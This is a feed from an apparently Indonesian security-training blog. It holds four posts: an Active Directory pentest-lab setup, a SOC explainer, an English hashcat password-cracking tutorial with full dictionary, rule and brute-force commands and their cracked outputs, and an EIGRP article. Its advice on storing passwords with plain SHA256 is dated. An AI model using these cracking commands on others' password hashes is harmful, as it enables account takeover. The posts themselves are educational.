Blog teknis maupun non-teknis berkaitan dengan Cybersecurity. Untuk meningkatkan kapabilitas cybersecurity Indonesia - Medium

Cyberkarta - Medium

<h3>Layanan Kami</h3>
<ul>
<li>
Pelatihan Cybersecurity: <a href="https://cyberkarta.com/">https://cyberkarta.com</a>
</li>
<li>
Penetration Testing: <a href="https://pentest.cyberkarta.com/">https://pentest.cyberkarta.com</a>
</li>
<li>
Monitoring serangan siber? contact us via <a href="mailto:service@cyberkarta.com">service@cyberkarta.com</a>
</li>
<li>
Ada serangan siber? contact us via <a href="mailto:service@cyberkarta.com">service@cyberkarta.com</a>
</li>
</ul>
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*g2-0ZCNPRUuj5ZLP"><figcaption>Photo by <a href="https://unsplash.com/@cheaousa?utm_source=medium&amp;utm_medium=referral">Ousa Chea</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>Active Directory</h3>
Active Directory (AD) adalah layanan direktori yang dikembangkan oleh Microsoft untuk jaringan domain Windows. AD juga merupakan database dengan jenjang hierarki yang menyimpan informasi objek pada jaringan, contohnya pengguna, komputer, printer, dan grup.
Manfaat Active Directory:
<ul>
<li>
Centralized management: AD menyediakan satu titik kendali untuk mengelola pengguna, komputer, dan objek lain di jaringan. Hal ini dapat menghemat waktu dan tenaga bagi administrator.</li>
<li>
Improved security: AD menyediakan sejumlah fitur keamanan, seperti autentikasi, Role-based Access Control (RBAC), dan audit. Fitur-fitur ini dapat membantu melindungi keamanan jaringan dari percobaan akses ilegal.</li>
<li>
Simplified deployment and management of applications: administrator dapat menggunakan AD untuk mendeploy software ke jaringan active directory.</li>
<li>
Enhanced scalability: AD dapat dikembangkan untuk mendukung jaringan besar dengan ribuan pengguna dan komputer.</li>
</ul>
Komponen pendukung Active Directory
<ul>
<li>
Domain Controller: Domain Controller adalah server yang menjalankan layanan Active Directory. Domain Controller bertanggung jawab untuk menyimpan database Active Directory dan menyediakan layanan autentikasi dan otorisasi.</li>
<li>
Forest: Forest adalah kumpulan domain yang dikelola oleh kumpulan policy dan konfigurasi yang sama.</li>
<li>
Tree: Tree adalah grup domain yang memiliki skema dan policy.</li>
<li>
Schema: Schema adalah kumpulan aturan yang menentukan jenis objek yang dapat disimpan di Active Directory dan atribut yang dapat dimiliki oleh objek tersebut.</li>
<li>
Attribute: Attribute adalah informasi tentang objek di Active Directory.</li>
<li>
Object: Object adalah entitas yang dapat diidentifikasi pada Active Directory. Contoh objek adalah akun pengguna, komputer, printer, dan grup.</li>
</ul>
<h3>Active Directory Lab untuk Pentester</h3>
Active Directory (AD) yang tidak dilindungi dapat menimbulkan ancaman signifikan terhadap keamanan informasi. Tanpa perlindungan yang tepat, AD dapat dengan mudah disusupi, memberikan penyerang akses ke data dan sistem sensitif. Penyerang bisa mendapatkan akses tidak sah ke kredensial pengguna, memungkinkan mereka meniru identitas pengguna dan melakukan lateral movement menuju entitas yang terdaftar pada AD. Bahkan, mereka dapat memasang malware pada domain controller, untuk menciptakan persistence dan mempercepat penyebaran malware.
Diperkirakan, sekitar 90% perusahaan dari Fortune 1000 menggunakan Active Directory (AD). Selain itu banyak perusahaan kelas menengah juga menggunakan layanan AD. Pada beberapa sertifikasi profesional, seperti OSCP, CEH, dan Pentest+, mewajibkan pentester untuk memahami Active Directory. Melihat dari kebutuhan dan risiko keamanan tersebut, sangat disarankan kepada pentester untuk bereksperimen dan menguji keamanan dari AD
Salah satu cara untuk bereksperimen pada Active Directory adalah membuat lab sendiri. Berikut adalah beberapa contoh serangan yang dapat diuji oleh pentester dalam lab AD:
<ul>
<li>Serangan pass-the-hash</li>
<li>Serangan Golden Ticket</li>
<li>Serangan Kerberos</li>
<li>Serangan terhadap grup dan OU</li>
<li>Serangan terhadap objek Active Directory lainnya</li>
</ul>
<h3>Kebutuhan Sistem</h3>
Kebutuhan Hardware:
<ol>
<li>80 GB storage</li>
<li>16 GB RAM</li>
<li>CPU dengan 8 core</li>
</ol>
Kebutuhan Software &amp; Sistem Operasi:
<ol>
<li>Hypervisor dapat menggunakan VMware Workstation Pro 17: <a href="https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html">https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html</a> atau VirtualBox: <a href="https://www.virtualbox.org/wiki/Downloads">https://www.virtualbox.org/wiki/Downloads</a>
</li>
<li>Windows Server 2022 eval edition: <a href="https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2022">https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2022</a>
</li>
<li>Windows 10 Enterprise eval edition: <a href="https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise">https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise</a>
</li>
<li>Kali Linux: <a href="https://www.kali.org/get-kali/#kali-platforms">https://www.kali.org/get-kali/#kali-platforms</a>
</li>
</ol>
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*n8fkf30csgN8aUX6"><figcaption>Notes: Saat membuat konfigurasi, jangan lupa untuk mencatat username dan password yang digunakan.</figcaption></figure><h3>Menginstall Windows Server 2022</h3>
Penulis memilih menggunakan VMware Workstation Pro 17 untuk melakukan demo instalasi. Hypervisor lain seperti VirtualBox dapat menjadi opsi untuk instalasi.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zaQh1Edla-61QcG5qrOPyQ.png"><figcaption>Langkah melakukan pre-instalasi Windows Server 2022 pada VMware Workstation.</figcaption></figure><ol>
<li>Memilih ISO yang tepat untuk instalasi Windows Server 2022. Link download terdapat pada bagian Kebutuhan Sistem.</li>
<li>Mengosongkan product key dan mengisi Full Name dari pengguna server. Saya memilih nama DomainController karena server ini akan menjadi Domain Controller (DC) dari Active Directory.</li>
<li>Memilih lokasi virtual disk disimpan. Pastikan virtual disk ini berada pada lokasi yang memang ditujukan untuk penyimpanan.</li>
<li>Menggunakan alokasi disk sebesar 60GB untuk media penyimpanan pada Windows Server tersebut. Angka 60GB ini tidak langsung menggunakan size disk sebesar 60GB, melainkan sekedar angka maksimal penggunaan disk. Pilih juga split installation untuk mempermudah distribusi lab nantinya.</li>
<li>Menonaktifkan opsi “Power on the virtual machine after creation”</li>
</ol>
Virtual machine ini jangan dulu dinyalakan, terdapat beberapa hal yang perlu diperhatikan di sini.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zigv2urmDzsiSmay0ZrKww.png"><figcaption>Konfigurasi yang dilakukan sebelum menjalankan server.</figcaption></figure><ol>
<li>Menghapus floppy disk agak tidak menimbulkan error pada proses instalasi nantinya.</li>
<li>Menambah RAM menjadi 4096 MB agar mempercepat proses instalasi. RAM dapat diturunkan menjadi 2048 MB apabila proses instalasi sudah selesai.</li>
<li>Menjalankan virtual machine.</li>
</ol>
Setelah virtual machine menyala, tekan keyboard untuk masuk ke dalam halaman instalasi.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qpKq6Q5KYR-DypzVoj8qBg.png"><figcaption>Langkah instalasi Windows Server 2022 pada hypervisor.</figcaption></figure><ol>
<li>Memilih versi instalasi Windows Server 2022 Standard Evaluation (Desktop).</li>
<li>Membuat partisi untuk instalasi Windows dan System dengan memilih opsi new.</li>
<li>Menginstall Windows Server 2022 pada partisi Primary.</li>
<li>Menunggu hingga proses instalasi selesai.</li>
</ol>
Setelah proses instalasi selesai, Anda akan diminta memasukkan password untuk akun Administrator.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gpnT-wcCHd3zt5jFtAHRsw.png"><figcaption>Pembuatan password Administrator, proses login, dan penggantian network profile.</figcaption></figure><ol>
<li>Masukkan password yang digunakan untuk akun Administrator. Pastikan Anda mendokumentasikan password ini.</li>
<li>Saat muncul halaman login, tekan CTRL + ALT + DELETE untuk masuk ke dalam halaman login. Terdapat menu pada VMware Workstation untuk mempermudah input tersebut.</li>
<li>Masukkan password dari Administrator.</li>
<li>Apabila terdapat permintaan, pilih private network untuk mempermudah serangan yang dilakukan.</li>
</ol>
Kita juga perlu menginstall VMware Tools untuk mendapatkan full experience dan mendapatkan layar full screen.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pfWMHuEXGco7oJldw3d1eQ.png"><figcaption>Proses instalasi VMware Tools</figcaption></figure><ol>
<li>Memilih menu VM &gt; Install VMware Tools.
</li>
<li>Terdapat DVD virtual yang masuk ke dalam file explorer. Pilih Setup64 untuk memulai instalasi VMware Tools.</li>
<li>Memilih opsi Typical atau Complete tergantung penggunaan dari lab tersebut. Apabila Anda ingin mendeploy lab ini pada versi VMware lain, pilihlah opsi complete.</li>
</ol>
Disarankan untuk melakukan perubahan hostname sebelum konfigurasi AD. Perubahan nama host setelah konfigurasi AD akan menciptakan trust issue pada jaringan AD.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YkFCULGTAoYtEY3UYMYgYA.png"><figcaption>Perubahan Domain Disarankan Sebelum Aktivasi AD</figcaption></figure><ol>
<li>Mengganti nama hostname sesuai dengan skenario yang dibuat.</li>
<li>Memilih opsi restart now &amp; Memilih Alasan Restart</li>
</ol>
Selamat, apabila Anda telah melalui step tersebut, Windows Server 2022 sudah berhasil terinstall. Windows Server 2022 ini akan digunakan sebagai domain controller pada Active Directory. Apabila Anda ingin menyesuaikan RAM pada Windows Server ini, dapat dilakukan pada Virtual Machine Settings. Konfigurasi ini bisa dilakukan saat server dalam kondisi mati.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/0*Kmqv1UD93L4hGDEB"><figcaption>Proses mengubah penggunaan RAM pada VM Windows Server.</figcaption></figure><h3>Layanan Kami</h3>
<ul>
<li>
Pelatihan Cybersecurity: <a href="https://cyberkarta.com/">https://cyberkarta.com</a>
</li>
<li>
Penetration Testing: <a href="https://pentest.cyberkarta.com/">https://pentest.cyberkarta.com</a>
</li>
<li>
Monitoring serangan siber contact us via <a href="mailto:service@cyberkarta.com">service@cyberkarta.com</a>
</li>
<li>
Ada serangan siber? contact us via <a href="mailto:service@cyberkarta.com">service@cyberkarta.com</a>
</li>
</ul>
<h3>Our Social Media</h3>
Instagram: <a href="https://instagram.com/thecyberkarta">https://instagram.com/thecyberkarta</a>
Youtube: <a href="https://www.youtube.com/@cyberkarta">https://www.youtube.com/@cyberkarta</a>
LinkedIn: <a href="https://www.linkedin.com/company/cyberkarta">https://www.linkedin.com/company/cyberkarta</a>
Twitter/X: <a href="https://twitter.com/cyberkarta">https://twitter.com/cyberkarta</a>
<h3>Next</h3>
Pada Membuat Lab Active Directory Untuk Ethical Hacking (Part 2), kita akan melakukan konfigurasi Domain Controller (DC) pada Windows Server yang terinstall.
<img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=61223d70a0af" width="1" height="1" alt=""><hr>
<a href="https://medium.com/cyberkarta/membuat-lab-active-directory-untuk-ethical-hacking-part-1-61223d70a0af">Membuat Lab Active Directory Untuk Ethical Hacking (Part 1)</a> was originally published in <a href="https://medium.com/cyberkarta">Cyberkarta</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.

Membuat Lab Active Directory Untuk Ethical Hacking (Part 1)

Security Operation Center (SOC), yang sering dibaca “SOK”, adalah lapisan pertahanan utama keamanan siber pada organisasi atau perusahaan. SOC merupakan layanan yang bersifat luas dengan memberikan fitur-fitur berupa event monitoring, event management, dan solusi ancaman siber. Prioritas dari SOC adalah sebagai berikut.
<ol>
<li>Mengidentifikasi ancaman siber yang ada</li>
<li>Menangani isu-isu berkaitan dengan keamanan</li>
<li>Mencegah penyerang siber dapat merusak proses bisnis atau reputasi organisasi/perusahaan.</li>
</ol>
Tanpa adanya SOC, organisasi/perusahaan kekurangan transparansi terhadap ancaman-ancaman siber secara real-time. Hal tersebut menghalangi kemampuan organisasi/perusahaan untuk melindungi keamanan informasi dari risiko serangan siber.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*e07AfcPcOsvs5Nug"><figcaption>Photo by <a href="https://unsplash.com/@lukechesser?utm_source=medium&amp;utm_medium=referral">Luke Chesser</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>Implementasi SOC</h3>
Terdapat tiga opsi implementasi SOC, yaitu:
<ol>
<li>
Full outsource. Day-to-day job dari SOC bisa jadi sangat berat bagi organisasi/perusahaan kecil dan menengah, terutama dari sisi biaya dan kompleksitasnya. Full outsource adalah model implementasi SOC dengan menyerahkan seluruh tugas dan tanggung jawab kepada Managed Security Service Provider (MSSP) selaku pihak yang menyediakan layanan.</li>
<li>
Hybrid. Model full outsource memiliki kekurangan di mana organisasi/perusahaan tidak memiliki tim internal security sama sekali. Akibatnya, organisasi/perusahaan akan memiliki pengalaman yang minim untuk menangani insiden siber. Hybrid adalah model implementasi SOC dengan membagi tugas antara tim internal security dan MSSP. Model ini membuat perusahaan juga mendapatkan feedback yang cukup dari insiden serangan siber.</li>
<li>
Full in-house. Model ini cocok apabila organisasi/perusahaan memiliki dana dan kapabilitas yang cukup untuk menangani kompleksitas dari security operation center. Perlu diperhatikan bahwa SOC yang efektif adalah SOC yang beroperasi secara penuh 24/7. Apabila kebutuhan tersebut tidak dapat terpenuhi, ada baiknya untuk menggunakan model Hybrid.</li>
</ol>
<h3>Elemen pada SOC</h3>
Security operation center sendiri memiliki tiga elemen utama yang tidak dapat dipisahkan satu dengan lainnya. Ketiga elemen tersebut adalah people (orang), process (proses), dan technology (teknologi).
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vI1cceX31e7aHtqO-_62Yw.png"><figcaption>SOC Lifecycle</figcaption></figure><h4>People</h4>
People berkaitan dengan peran dan tanggung jawab orang terhadap keberlangsungan SOC. Peran dan tanggung jawab secara struktural pada SOC biasa dibagi menjadi 4, yaitu:
<ol>
<li>
Tier 1: security analyst merupakan garda terdepan dari security operation center. Security analyst bertugas melakukan monitoring terhadap alert (notifikasi) security yang terdeteksi oleh sistem. Para analyst juga bertugas untuk memastikan keaslian dari alert tersebut. Apabila dibutuhkan, mereka akan mengoper insiden kepada Tier 2. Security analyst ini merupakan job role yang cocok untuk entry level cyber security.</li>
<li>
Tier 2: incident responder merupakan orang-orang yang memiliki keahlian teknis dalam investigasi serangan siber. Incident responder menindaklanjuti tiket yang dihasilkan oleh tier 1 dan melakukan forensik digital untuk menentukan aset mana saja yang terdampak oleh serangan siber. Kemudian, incident responder juga melakukan remidiasi terhadap dampak teknis serangan siber.</li>
<li>
Tier 3: threat hunter merupakan tim yang sangat kompeten dalam melakukan malware reverse engineering dan threat intelligence. Selain itu, mereka juga secara proaktif melakukan langkah pencegahan, contohnya membuat metode deteksi malware dan phishing, serta melakukan investigasi ke dalam dark web untuk mencari potensi ancaman yang dapat terjadi pada organisasi/perusahaan.</li>
<li>
SOC manager bertanggung jawab terhadap keberlanjutan dan ketersediaan resource bagi security operation center. SOC manager juga berperan menjadi contact person organisasi atau pelanggan (jika menggunakan model outsource.</li>
</ol>
<h4>Process</h4>
Security operation center juga melibatkan proses yang terdokumentasi dengan baik untuk merespons ancaman yang datang. Untuk mencapai process yang efektif, SOC dapat memanfaatkan framework dan security requirement, seperti ISO, NIST, PCI, HIPAA, dan sebagainya.
Berikut ini adalah empat proses kritikal pada SOC.
<ol>
<li>
Alert triage. SOC melakukan koleksi, korelasi, dan analisis data log. Analyst juga harus memiliki cara yang efisien untuk menghilangkan noise dan mengidentifikasi insiden siber yang berpotensi merugikan.</li>
<li>
Prioritization. Pada dunia keamanan siber modern, serangan siber terjadi dalam skala yang sangat besar, resiko serangan juga semakin meningkat, dan serangan siber menjadi semakin canggih. Prioritisasi insiden menjadi hal yang sangat krusial untuk diimplemantasikan.</li>
<li>
Remidiation and recovery. Terkadang, eksploitasi yang dilakukan oleh penyerang berdampak permanen terhadap kinerja sistem. Tier 2 dan Tier 3 bertugas mengidentifikasi hal dampak eksploitasi tersebut dan melakukan perbaikan terhadap sistem.</li>
<li>
Post activity and reporting. Proses dokumentasi secara detail terhadap insiden yang terjadi. Reporting juga mengidentifikasi bagian dari pertahanan yang bisa dilalui oleh penyerang. Sehingga, jika terdapat insiden serupa, SOC dapat mengurangi dampak serangan dengan penanganan secara lebih optimal.</li>
</ol>
<h4>Technology</h4>
Kunci teknologi pada SOC modern meliputi intrusion detection/prevention, Security Information and Event Management Systems (SIEM), Data Loss Prevention (DLP) software, serta threat intelligence and vulnerability management platforms.
<ol>
<li>
Intrusion detection/prevention. Next-gen firewall bukan hanya bekerja untuk memblokir koneksi saja, melainkan menjadi alat yang secara proaktif mendeteksi dan mencegah serangan siber.</li>
<li>
SIEM. Proteksi dari firewall bisa saja gagal, oleh karena itu perlu adanya sistem deteksi yang baik. Sistem deteksi ini juga menjadi enabler bagi incident responder untuk melakukan investigasi insiden serangan siber. Namun, log (record) serangan siber tersimpan dalam beberapa tempat berbeda, contohnya firewall, server log, client log, serta log pada perangkat jaringan. SIEM berfungsi sebagai kolektor dan korelator event, sehingga jejak serangan siber dapat diakses dan dianalisis secara terpusat.</li>
<li>
DLP. Untuk mencegah data sensitif terambil alih oleh penyerang, organisasi sering mengimplementasikan Data Loss Prevention (DLP). Fungsinya adalah memberikan alert dan memblokir informasi apabila terdapat percobaan pencurian data, baik melalui email, chat, USB, atau pengiriman melalui web. DLP dapat memitigasi ancaman internal (dari karyawan sendiri) atau penyerang yang sudah berhasil masuk ke dalam jaringan.</li>
<li>
Threat intelligence and vulnerability management platform. Ancaman pada dunia siber terus berkembang, oleh karena itu perlu adanya teknologi untuk mendapatkan data secara real-time berkaitan dengan ancaman dan celah baru yang teridentifikasi. Celah yang teridentifikasi dapat diberikan label berupa nilai bahaya sehingga tim SOC melakukan mitigasi berdasarkan skala prioritas.</li>
</ol>
Dalam implementasinya, teknologi pada SOC dapat di-automasi untuk mendapatkan kinerja yang makin efisien. Security Orchestration Automation and Response (SOAR) merupakan teknologi untuk melakukan integrasi antara detection, threat intelligence, dan response dengan cara berikut ini.
<ul>
<li>Mengkoleksi data alarm dari berbagai komponen sistem.</li>
<li>Menyediakan tools untuk mengevaluasi dan menginvestigasi kasus.</li>
<li>Meng-automasi workflow deteksi dan respons, sehingga proses SOC menjadi semakin efisien dan dapat mengimplementasikan sistem adaptive defense.</li>
<li>Menyediakan pre-defined playbooks untuk meng-automasi proses respons insiden.</li>
</ul>
Kedepannya, teknologi pada SOC akan terintegrasi dengan artificial intelligence dan machine learning untuk melindungi aset kritikal. Namun teknologi seharusnya tidak digunakan sebagai pengganti tim security engineer, melainkan dimanfaatkan sebagai enabler supaya orang-orang pada SOC dapat bekerja semakin efektif dan efisien.
<h3>Referensi</h3>
<ul>
<li>Cisco CyberOps Associate Reading Material.</li>
<li><a href="https://www.darkreading.com/edge-articles/modern-day-socs-people-process-technology">https://www.darkreading.com/edge-articles/modern-day-socs-people-process-technology</a></li>
<li><a href="https://www.avertium.com/blog/in-house-soc-mssp">https://www.avertium.com/blog/in-house-soc-mssp</a></li>
<li><a href="https://www.exabeam.com/security-operations-center/soc-processes-and-best-practices-in-a-devsecops-world/">https://www.exabeam.com/security-operations-center/soc-processes-and-best-practices-in-a-devsecops-world/</a></li>
</ul>
<img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=928e182dc5ae" width="1" height="1" alt=""><hr>
<a href="https://medium.com/cyberkarta/mengenal-cyber-security-operation-center-soc-pertahanan-utama-serangan-siber-928e182dc5ae">Mengenal Cyber Security Operation Center (SOC), Pertahanan Utama Serangan Siber</a> was originally published in <a href="https://medium.com/cyberkarta">Cyberkarta</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.

Mengenal Cyber Security Operation Center (SOC), Pertahanan Utama Serangan Siber

<h3>How Passwords are Stored and Cracked — The Basics of Using Hashcat</h3>
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MjD7FgElB0rjcuJ6"></figure>Imagine that you are running a social media web service which handles thousands of logins every day. Not the busiest server in the world, but still your customer put their trust on you to handle these requests and store their credentials. There may also customer credit card numbers those are sitting behind the login page.
On the worst day of your company, data breach can still happen, even though your company put high effort to prevent this. As expert said, cybercriminal will merely need one gap to invade your system, while you must patch them all. If this event really occurs, there may only two things that the users think about, is my account affected this data breach? If it so, how far? The data breach itself surely will ruin company’s reputation, but it can be catastrophic if world knows that you store user data in a faulty way, such as storing plain text password. Hiding the truth will not make any better.
At this point, there may be a question, from the user, how do I know whether the web server store my plain text password or hashed one? In most of the case, the answer is you can not know except it is written explicitly in the web or user ask directly to website owner. However, if you forgot the password and the web can give the forgotten password to you, it is the greatest sign that your password is stored in plain. Almost all big company in 2020, store user’s password using its message digest or hash.
To understand better, there is a library in Python called hashlib or you can use online hashing tool, the latter is not recommended on production site because it is safer to compute and store hash with your own resources. Example below is a Python script to compute MD5 hash with any user input. The script contains f string, so it can only run on Python 3.6 or newer.
<blockquote>import hashlib</blockquote>
<blockquote>username = input(“username: “)</blockquote>
<blockquote>password = input(“password: “)</blockquote>
<blockquote>hash_text = hashlib.md5(password.encode()).hexdigest()</blockquote>
<blockquote>print (f’{username}:{hash_text}’)</blockquote>
Run it, and input these:
<blockquote>username: admin</blockquote>
<blockquote>password: admin123</blockquote>
<blockquote>admin:0192023a7bbd73250516f069df18b500</blockquote>
This python script takes 2 user input, username and password, and then compute MD5 hash (in hexadecimal). Finally, it prints username and hashed password. As a precaution, I use MD5 hash to fulfill this demo as it fast to be computed and cracked. Nowadays, MD5 should not be used in production environment, it is way safer to use SHA256 or SHA512.
The password changed in specific way, and it represented in hexadecimal form. If you try different username and password combination, notice that the length of the hash is not changed (that is one of the characteristics).
Example 1:
<blockquote>username: admin</blockquote>
<blockquote>password: 123</blockquote>
<blockquote>admin:202cb962ac59075b964b07152d234b70</blockquote>
Example 2:
<blockquote>username: myaccount</blockquote>
<blockquote>password: SuperLongPasswordThatIDontBothertoRememberIt</blockquote>
<blockquote>myaccount:b246fff4ac99ba02332598a8c6ef4a46</blockquote>
Another trait of hash message is that it one-way function or we can say the hash message cannot be reversed easily. Based on this trait, most server use username and password combination verification as diagram below.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*ccM5CDz8QnM_xfdn2Rgjqw.png"><figcaption>The well-known method for authenticating user</figcaption></figure>As you can see, especially in password section, a server calculate hash from the user input and then match username and its hashed password in the user database. In this model, it is the only workflow available, as hashed password cannot be reversed to clear-text password.
Within same algorithm, calculating hash message always results in consistent value (if it is not consistent, how do server verify user in the first place). This nature can result in a poor outcome if user use weak or well-known password and reuse it on multiple accounts, however.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zr2Cn_j_qjkW0GFz"></figure><h3>Cracking Password</h3>
Storing passwords in its hash is one-layer security itself, nevertheless cyber criminal will still hunt those because there are ways to recover clear-text password from its hash. The notorious tool today is hashcat.
Hashcat is an application that capable of cracking password by using CPU or GPU. If you decide to use GPU, hashcat can crack password several times faster. You can also differently allocate resource to hashcat in case you want to work with something else with your computer when cracking process is running. Before it begins, you must decide what kind attack you want to do with hashcat.
First of all, the dictionary attack. Dictionary attack is performed by using dictionary file that contains list of words. You may choose the famous rockyou.txt that contains thousands of commonly used passwords. If you are using Kali Linux, you can find it on “/usr/share/wordlists/rockyou.txt”. If you experience a slow speed, you may create customized wordlist for the purpose of testing, or even upgrade your GPU.
Command:
<blockquote>hashcat -O -m0 -a0 -w3 21232f297a57a5a743894a0e4a801fc3 /usr/share/wordlists/rockyou.txt</blockquote>
Result:
21232f297a57a5a743894a0e4a801fc3:admin
Explanation:
-O = optimized kernel option; it makes password cracking much faster, but it only works for short password entry.
-m0 = use module 0 (MD5); hashcat capable of cracking plenty of hash algorithm.
-a0 = use dictionary attack
-w3 = use high workload profile; you can use -w1 to -w4 (the lowest to highest resource consumption) to increase password cracking rates.
By using my RTX 2070, the 21232f297a57a5a743894a0e4a801fc3 hash is cracked instantly and giving admin as the result.
You are able to change hash value 21232f297a57a5a743894a0e4a801fc3 to a file that contains list of hashes to be cracked. The command will be:
<blockquote>hashcat -O -m0 -a0 -w3 password_md5.txt /usr/share/wordlists/rockyou.txt</blockquote>
Sometimes, password is strong, but not strong enough. You can specify a rule by giving -r &lt;rule_location&gt;. For this example, I use different hash and best64 rule (<a href="https://github.com/hashcat/hashcat/blob/master/rules/best64.rule">https://github.com/hashcat/hashcat/blob/master/rules/best64.rule</a>) that already installed with hashcat and located inside rules folder.
Command:
<blockquote>hashcat -O -m0 -a0 -w3 2e6e5a2b38ba905790605c9b101497bc /usr/share/wordlists/rockyou.txt -r rules/best64.rule</blockquote>
Result:
2e6e5a2b38ba905790605c9b101497bc:Admin12
How disappointing if we actually skip that weak password by using merely rockyou.txt wordlist.
Secondly, the brute force attack. Brute force attack tries different character permutation. The more type and number of characters, the longer time is needed.
In this example, I will try to crack 6-digit PIN that stored in MD5, by using brute force attack.
Command:
<blockquote>hashcat -O -m0 -a3 -w3 30eebaf0235367a45abf1f9a106063dc ?d?d?d?d?d?d</blockquote>
Result:
30eebaf0235367a45abf1f9a106063dc:135798
Explanation:
-a3 = use brute force attack
?d = indicate a digit (0–9 number), you can use another character, such as:
?l = indicate a lowercase character (a-z)
?u = indicate an uppercase character (A-Z)
?s = indicate a sign character («space»!”#$%&amp;’()*+,-./:;&lt;=&gt;?@[\]^_`{|}~)
?a = indicate all character (?l?u?d?s)
Six-digit PIN is just a dust for hashcat. It cracked in a matter of seconds.
That’s all for now, hopefully this article can tell the importance of using unique and strong password.
On final note, these mentioned are just two of thousand ways to crack password, there are advanced attacks out there, such as mask attack and rainbow attack that capable of cracking password much more effectively and quickly.
<img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=11fcd4ca2003" width="1" height="1" alt=""><hr>
<a href="https://medium.com/cyberkarta/how-passwords-are-stored-and-cracked-the-basics-11fcd4ca2003">How Passwords are Stored and Cracked — The Basics</a> was originally published in <a href="https://medium.com/cyberkarta">Cyberkarta</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.

How Passwords are Stored and Cracked — The Basics

Enhanced Interior Gateway Routing Protocol (EIGRP) merupakan Internal Gateway Protocol (IGP) yang memiliki tingkat konvergensi cepat dan membutuhkan network traffic yang kecil. EIGRP adalah salah satu protokol pada distance vector protocol untuk menentukan jalur terbaik. Karena EIGRP bersifat proprietary, routing protocol EIGRP hanya tersedia untuk vendor Cisco saja.
<figure><img alt="Computer network" src="https://cdn-images-1.medium.com/max/1024/0*N9Gp0Z649aKFjDsu"><figcaption>Photo by <a href="https://unsplash.com/@sigmund?utm_source=medium&amp;utm_medium=referral">Sigmund</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure>Berbeda dengan Routing Information Protocol (RIP), EIGRP hanya mengirimkan hello message setiap 5 detik sekali, bukan full periodic update. Sehingga, kebutuhan bandwidth untuk menjaga koneksi antar router EIGRP jauh lebih kecil. EIGRP juga menggunakan beberapa parameter, yaitu bandwidth, load, delay, dan reliability untuk mencari jalur routing terbaik.
<h3>Neighbour Discovery and Maintenance</h3>
Untuk mendistribusikan informasi routing melalui jaringan, EIGRP menggunakan non-periodic incremental routing updates. Artinya, router EIGRP hanya melakukan update apabila ada perubahan jalur saja.
Untuk mempertahankan koneksinya, EIGRP mengirimkan hello packet setiap 5 detik sekali (pada jalur dengan bandwidth besar) atau 60 detik sekali (pada jalur dengan bandwidth kecil). Interval hello packet tersebut bahkan bisa dikonfigurasi secara manual per interface dengan menggunakan perintah ip hello-interval eigrp.
Router pengirim hello packet akan mengharapkan balasan dalam interval waktu tertentu. Interval waktu ini disebut dengan hold time. Secara default, nilai hold time adalah 3x nilai hello interval. Apabila tidak ada balasan dari penerima setelah hold time berakhir, maka jalur tersebut dianggap sedang down. Router terdekat kemudian bertugas memberikan update kepada router lainnya. Hold time ini juga bisa dikonfigurasi secara manual dengan menggunakan ip hold-time eigrp.
<h3>Algoritme DUAL</h3>
EIGRP menggunakan Diffused Update Algorithm (DUAL) untuk menghitung jalur terpendek ke tujuan. Dari sifat EIGRP sendiri sebagai distance vector protocol, informasi yang digunakan untuk melakukan kalkulasi best path adalah distance (metric) dan vector (next hop).
Algoritme DUAL sebenarnya dapat menghitung best path dari beberapa parameter, namun untuk menghindari loop pada jaringan, disarankan hanya menggunakan parameter bandwidth dan delay saja. Formula untuk melakukan kalkulasi metric pada EIGRP adalah sebagai berikut.
<blockquote>metric = ([K1 x bandwidth + (K2 x bandwidth) / (256 — load) + K3 x delay] x [K5 / (reliability + K4)]) x 256</blockquote>
Secara default, nilai K adalah sebagai berikut.
<ul>
<li>K1, K3 = 1</li>
<li>K2, K4, K5 = 0</li>
</ul>
Sehingga, didapatkan formula kalkulasi metric yang lebih simpel, yaitu:
<blockquote>metric = [(10.000.000/bandwidth) + total delay] x 256</blockquote>
Contoh kalkulasi metric pada informasi dan topologi berikut ini.
<figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*D0znrHW8n2z0ArRLxJRuVA.png"><figcaption>Topologi Jaringan EIGRP</figcaption></figure><ul>
<li>
Jalur RT 0 -&gt; RT 1 -&gt; RT 4 (jalur atas) Minimum bandwidth = 10.000 kbps Delay = 200 + 400 = 600 Metric = [(10.000.000/10.000) + 600] x 256 = 409.600</li>
<li>
Jalur RT 0 -&gt; RT 2 -&gt; RT 3 -&gt; RT 4 (jalur bawah) Minimum bandwidth = 10.000 Mbps Delay = 100 + 100 + 100 Metric = [(10.000.000/10.000)+300] x 256 = 332.800</li>
</ul>
Jalur terbaik adalah jalur yang memiliki metric terkecil, sehingga DUAL akan memilih jalur bawah saat mengirimkan paket dari RT 0 ke RT 4.
